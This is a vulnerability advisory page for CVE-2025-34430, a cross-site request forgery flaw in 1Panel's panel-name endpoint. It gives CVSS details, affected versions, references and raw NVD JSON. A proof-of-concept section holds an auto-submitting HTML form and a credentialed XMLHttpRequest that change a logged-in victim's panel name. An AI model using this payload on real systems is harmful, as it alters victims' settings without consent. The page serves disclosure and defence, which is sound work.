CVE-2025-34430

Description

1Panel versions 1.10.33 through 2.0.15 contain a cross-site request forgery (CSRF) vulnerability in the panel name management functionality. The affected endpoint does not implement CSRF defenses such as anti-CSRF tokens or Origin/Referer validation. An attacker can craft a malicious webpage that submits a panel-name change request; if a victim visits the page while authenticated, the browser includes valid session cookies and the request succeeds. This allows a remote attacker to change the victim’s panel name to an arbitrary value without consent.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fit2cloud:1panel:*:*:*:*:*:*:*:* - VULNERABLE

1Panel >= 1.10.33

1Panel <= 2.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-34430: 1Panel Panel Name Modification -->
<!DOCTYPE html>
<html>
<head>
    <title>1Panel CSRF Exploit - CVE-2025-34430</title>
</head>
<body>
    <h1>1Panel CSRF Attack PoC</h1>
    <p>This page demonstrates the CSRF vulnerability in 1Panel panel name management.</p>
    
    <form id="csrfForm" action="http://target:8090/api/v1/settings/panel" method="POST">
        <input type="hidden" name="panel_name" value="HackedByAttacker" />
    </form>
    
    <script>
        // Auto-submit the form when page loads
        window.onload = function() {
            document.getElementById('csrfForm').submit();
        };
    </script>
    
    <p>If you see this message, the attack has been executed.</p>
</body>
</html>

<!-- Alternative PoC using XMLHttpRequest for more stealthy attack -->
<script>
function exploitCSRF() {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://target:8090/api/v1/settings/panel", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.withCredentials = true;
    
    var payload = JSON.stringify({
        "panel_name": "CompromisedPanel"
    });
    
    xhr.send(payload);
}

exploitCSRF();
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-34430
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-34430
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-34430/
[4] VulDB https://vuldb.com/cve/CVE-2025-34430
[5] https://1panel.pro/
[6] https://github.com/1Panel-dev/1Panel/releases
[7] https://www.vulncheck.com/advisories/1panel-csrf-panel-name-modification

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-34430", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:13.867", "lastModified": "2025-12-23T15:11:16.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "1Panel versions 1.10.33 through 2.0.15 contain a cross-site request forgery (CSRF) vulnerability in the panel name management functionality. The affected endpoint does not implement CSRF defenses such as anti-CSRF tokens or Origin/Referer validation. An attacker can craft a malicious webpage that submits a panel-name change request; if a victim visits the page while authenticated, the browser includes valid session cookies and the request succeeds. This allows a remote attacker to change the victim’s panel name to an arbitrary value without consent."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fit2cloud:1panel:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.10.33-lts", "versionEndIncluding": "2.0.15", "matchCriteriaId": "4044A6FA-6EC3-4541-99AB-0FE6A1109FAF"}]}]}], "references": [{"url": "https://1panel.pro/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/1Panel-dev/1Panel/releases", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/1panel-csrf-panel-name-modification", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}